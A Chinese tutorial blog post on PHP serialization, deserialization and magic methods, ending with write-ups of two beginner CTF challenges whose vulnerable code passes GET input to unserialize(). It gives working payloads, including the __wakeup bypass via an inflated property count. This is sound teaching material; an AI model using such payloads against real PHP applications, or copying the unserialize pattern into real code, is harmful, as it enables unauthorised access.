PHP序列化、反序列化

news2025/1/16 8:06:00

目录

一、PHP序列化:serialize()

1.对象序列化

2.pop链序列化

3.数组序列化

二、反序列化:unserialize()

三、魔术方法

​四、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

2.[SWPUCTF 2021 新生赛]no_wakeup


学习参考:

PHP反序列化新手入门学习总结_php反序列化

php反序列化漏洞

一、PHP序列化:serialize()

序列化:是将变量或对象转换成字符串的过程

用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

php序列化的字母标识:

a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
各类型值的serialize序列化:

空字符       null  ->     N;
整型         123   ->     i:123;
浮点型       1.5   ->     d:1.5;
boolean型    true   ->    b:1;
boolean型    fal    ->    b:0;
字符串       “haha”  ->   s:4:"haha";

1.对象序列化

<?php
class test                        //定义一个test类
{
	public $test1="ll";           //public是访问修饰符
	protected $test2="hh";
	private $test3="nn";
}
$a=new test();
echo serialize($a);
?>

//输出  O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}

Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名

//大写字母O表示对象,4是类名长度,test为类名,表示该类有3个成员属性

//类中变量的个数3:{类型:长度:“值”;类型:长度:“值”…以此类推}

protected 和private输出时有不可打印字符,如下图。

 

故类在写payload时通常会使用urlencode()函数编码。

2.pop链序列化

<?php
class test1
{
    public $a="ll";
    public $b=true;
    public $c=123;
}
class test2
{
    public $d;
	public $h="hhh";
}
 
$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>

//输出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}

3.数组序列化

<?php
$a=array("ll",123,true);
echo serialize($a);
?>

//输出  
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化,成员属性名为数组的下标,格式 {i:数组下标;类型:长度:“值”; 以此类推}

二、反序列化:unserialize()

反序列化是:将字符串转换成变量对象的过程

反序列化的结果不能用echo函数,只能用print_r()var_dump()

<?php
class test
{
    public $test1="ll";
    public $test2=123;
}
 
$a=new test();
$b=serialize($a);
print_r(unserialize($b));

$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>
//输出
test Object
(
    [test1] => ll
    [test2] => 123
)

object(test)#2 (4) {
  ["test1"]=>
  string(2) "ll"
  ["test2"]=>
  int(123)
  ["a"]=>
  string(3) "666"
  ["b"]=>
  int(6666)
}

三、魔术方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法

__construct()       //类的构造函数,创建对象时触发
__destruct()        //类的析构函数,对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()      //在静态上下文中调用不可访问的方法时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__set()             //在给不可访问、不存在的对象成员属性赋值时触发
__isset()           //当对不可访问属性调用isset()或empty()时触发
__unset()           //在不可访问的属性上使用unset()时触发
__invoke()          //把对象当初函数调用时触发
__sleep()           //执行serialize()时,先会调用这个方法
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
__clone()           //使用clone关键字拷贝完一个对象后触发
... ...

1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

2.对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()

3.echo $a 把对象当成字符串输出触发了__toString()

   $a() 把对象当成函数执行触发了__invoke()

4.$a->h()调用了不存在的方法触发了__call()方法

四、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

打开环境只有一个表情包

查看源代码发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录

访问得到环境代码

<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码

class wllm {                          // 定义一个名为 wllm 的类   
    public $admin;                    // 公共属性 admin
    public $passwd;                   // 公共属性 passwd
    
    public function __construct() {   // 构造函数,用于初始化对象     
        $this->admin = "user";        // 初始化 admin 为 "user"
        $this->passwd = "123456";     // 初始化 passwd 为 "123456"
    }

    public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作
        // 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
        if ($this->admin === "admin" && $this->passwd === "ctf") {            
            include("flag.php");           
            echo $flag;
        } else {            
            echo $this->admin;        // 打印 admin 的值           
            echo $this->passwd;       // 打印 passwd 的值            
            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"
        }
    }
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p

?>

admin=admin,passwd=ctf时得到flag,序列化p。

PHP 在线工具 | 菜鸟工具

构造payload,得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

2.[SWPUCTF 2021 新生赛]no_wakeup

打开环境,代码审计

<?php

// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");

// 关闭错误报告,不显示任何错误信息
error_reporting(0);

// 显示文件class.php的源代码
show_source("class.php");

// 定义一个名为HaHaHa的类
class HaHaHa{

    // 两个公共属性:admin和passwd
    public $admin;
    public $passwd;

    // 构造函数,当创建新对象时自动调用
    public function __construct(){
        // 初始化admin为"user",passwd为"123456"
        $this->admin ="user";
        $this->passwd = "123456";
    }

    // __wakeup魔术方法,当对象被反序列化时自动调用
    public function __wakeup(){
        // 将passwd加密为sha1哈希值
        $this->passwd = sha1($this->passwd);
    }

    // __destruct魔术方法,当对象被销毁时自动调用
    public function __destruct(){
        // 检查admin是否等于"admin"且passwd是否等于"wllm"
        if($this->admin === "admin" && $this->passwd === "wllm"){
            // 如果条件满足,引入flag.php文件,并输出变量$flag的值
            include("flag.php");
            echo $flag;
        }else{
            // 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
            echo $this->passwd;
            echo "No wake up";
        }
    }
}

// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

admin=admin,passwd=wllm得到flag,序列化p

<?php
class HaHaHa{

    public $admin="admin";
    public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

故构造一个大于2对象的payload,得到flag

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1790984.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python学习从0开始——Kaggle机器学习004总结2

Python学习从0开始——Kaggle机器学习004总结2 一、缺失值二、分类变量2.1介绍2.2实现1.获取训练数据中所有分类变量的列表。2.比较每种方法方法1(删除分类变量)方法2(序数编码)方法3独热编码 三、管道3.1介绍3.2实现步骤1:定义预处理步骤步骤2:定义模型步骤3:创建和评估管道 四…

数据仓库核心:维度表设计的艺术与实践

文章目录 1. 引言1.1基本概念1.2 维度表定义 2. 设计方法2.1 选择或新建维度2.2 确定维度主维表2.3 确定相关维表2.14 确定维度属性 3. 维度的层次结构3.1 举个例子3.2 什么是数据钻取&#xff1f;3.3 常见的维度层次结构 4. 高级维度策略4.1 维度整合维度整合&#xff1a;构建…

HCIP的学习(28)

第九章&#xff0c;链路聚合和VRRP 链路聚合 ​ 目的&#xff1a;备份链路以及提高链路带宽。 ​ 链路聚合技术&#xff08;Eth-Trunk&#xff09;&#xff1a;将多个物理接口捆绑成一个逻辑接口&#xff0c;将N条物理链路逻辑上聚合为一条逻辑链路。 正常情况下&#xff0c;…

Android开机动画的结束过程BootAnimation(基于Android10.0.0-r41)

文章目录 Android 开机动画的结束过程BootAnimation(基于Android10.0.0-r41) Android 开机动画的结束过程BootAnimation(基于Android10.0.0-r41) 路径frameworks/base/cmds/bootanimation/bootanimation_main.cpp init进程把我们的BootAnimation的二进制文件拉起来了&#xf…

STM32作业实现(五)温湿度传感器dht11

目录 STM32作业设计 STM32作业实现(一)串口通信 STM32作业实现(二)串口控制led STM32作业实现(三)串口控制有源蜂鸣器 STM32作业实现(四)光敏传感器 STM32作业实现(五)温湿度传感器dht11 STM32作业实现(六)闪存保存数据 STM32作业实现(七)OLED显示数据 STM32作业实现(八)触摸按…

6. MySQL 查询、去重、别名

文章目录 【 1. 数据表查询 SELECT 】1.1 查询表中所有字段使用 * 查询表的所有字段列出表的所有字段 1.2 查询表中指定的字段 【 2. 去重 DISTINCT 】【 3. 设置别名 AS 】3.1 为表指定别名3.2 为字段指定别名 【 5. 限制查询结果的条数 LIMIT 】5.1 指定初始位置5.2 不指定初…

利用短视频平台,轻松引流获客:自动私信评论策略全解析

在数字化时代&#xff0c;短视频已成为互联网流量的新蓝海&#xff0c;其独特的视觉吸引力和高度的用户粘性为各行各业提供了前所未有的营销机遇。无论是初创企业还是成熟品牌&#xff0c;都能通过短视频平台有效触达目标客户&#xff0c;实现高效引流与获客。本文将深入探讨如…

Three.js加入到可视化大屏,看看能否惊艳到你?

three.js 在可视化大屏上可以实现各种三维场景和动画效果&#xff0c;可以根据具体需求进行定制化开发&#xff0c;并结合其他技术&#xff0c;如数据可视化、交互设计等&#xff0c;实现更加丰富的可视化效果。 three.js 是一个基于 WebGL 的 JavaScript 3D 库&#xff0c;可…

LLM的基础模型5:Embedding模型

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在某个环节出现卡点&#xff0c;可以回到大模型必备腔调或者LLM背后的基础模型新阅读。而最新科技&#xff08;Mamba,xLSTM,KAN&#xff09;则提…

dirfuzz-web敏感目录文件扫描工具

dirfuzz介绍 dirfuzz是一款基于Python3的敏感目录文件扫描工具&#xff0c;借鉴了dirsearch的思路&#xff0c;扬长避短。在根据自身实战经验的基础上而编写的一款工具&#xff0c;经过断断续续几个月的测试、修改和完善。 项目地址&#xff1a;https://github.com/ssrc-c/di…

C++240605

设计一个 Per类&#xff0c;类中包含**私有**成员:姓名、年龄、**指针成员**身高、体重&#xff0c; 再设计一个Stu类&#xff0c;类中包含**私有**成员:成绩、 Per类对象p1&#xff0c; 设计这 两个类 的 **构造函数、析构函数**。 #include <iostream>using namespace…

这才是大模型价格战背后的真相

想必大家今天肯定被各家大模型厂商的降价新闻刷圈了&#xff0c;如果说 Meta Llama 3 的开源是国外大模型市场的搅局者&#xff0c;那 DeepSeek-V2 就是国内大模型市场的鲶鱼&#xff0c;但是价格战背后是大模型基础设施优化带来的物美价廉&#xff0c;还是浑水摸鱼的噱头&…

Macbook Pro 16G 用 cpu 跑开源多模态大模型LLavA

文章目录 1. 什么是LLaVA&#xff1f;2. LLaVA运行效果3. LLaVA 部署过程3.1 创建llava虚拟环境3.2 激活虚拟环境3.3 安装llama-cpp-python3.4 安装 llama-cpp-python服务器3.5 下载模型权重3.6 启动server服务3.7 在Pycharm中调用 参考资料 摘要 本文介绍如何在macbook pro (M…

【GD32】从零开始学GD32单片机高级篇——SDIO外设详解(GD32F470ZGT6)

目录 简介总线拓扑总线操作“无响应” 和 “无数据” 操作多块读写操作数据流读写操作 总线协议命令响应R1/R1b (普通命令响应)R2 (CID, CSD 寄存器)R3 (OCR 寄存器)R4 (Fast IO)R4b&#xff08;Fast IO&#xff09;R5 (中断请求)R5b&#xff08;中断请求&#xff09;R6 (发布的…

揭秘数字工厂:如何运用AGV、LMS和WMS成为制造业的隐藏神器

揭秘数字工厂&#xff1a;如何运用AGV、LMS和WMS成为制造业的隐藏神器 &#x1f604;生命不息&#xff0c;写作不止 &#x1f525; 继续踏上学习之路&#xff0c;学之分享笔记 &#x1f44a; 总有一天我也能像各位大佬一样 &#x1f3c6; 博客首页 怒放吧德德 To记录领地 &a…

当企业越来越难做,精益变革能带来什么改变?

随着技术的不断进步和消费者需求的日益多样化&#xff0c;传统的管理模式和生产方式已经难以适应时代的发展。越来越多的企业开始陷入困境&#xff0c;难以在激烈的市场竞争中立足。然而&#xff0c;正是在这样的背景下&#xff0c;精益变革应运而生&#xff0c;为企业带来了前…

【AI大模型】Transformers大模型库(四):AutoTokenizer

目录​​​​​​​ 一、引言 二、自动分词器&#xff08;AutoTokenizer&#xff09; 2.1 概述 2.2 主要特点 2.3 代码示例 三、总结 一、引言 这里的Transformers指的是huggingface开发的大模型库&#xff0c;为huggingface上数以万计的预训练大模型提供预测、训练等服…

Spark SQL - 操作数据帧

本教程将通过一个具体的案例来演示如何在Spark SQL中操作数据帧。我们将从获取学生数据帧开始&#xff0c;包括两种方法&#xff1a;一是由数据集转换而来&#xff0c;二是直接读取文件生成数据帧。然后&#xff0c;我们将对数据帧进行各种操作&#xff0c;如投影、过滤、统计和…

数电实验中设计数字钟所用到的代码详细版(Verilog语言来实现)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、模6计数器的代码&#xff1a;二、模10计数器的代码三、模60计数器的代码四、模24计数器的代码五、显示控制电路模块代码六、1khz和250khz时钟输出实现的代码…

如何充分利用代理IP扩大网络接触面

目录 前言 第一部分&#xff1a;什么是代理IP&#xff1f; 第二部分&#xff1a;如何获取代理IP&#xff1f; 1. IP质量 2. 匿名性 3. 限制 第三部分&#xff1a;如何使用代理IP&#xff1f; 第四部分&#xff1a;如何充分利用代理IP&#xff1f; 总结&#xff1a; 前…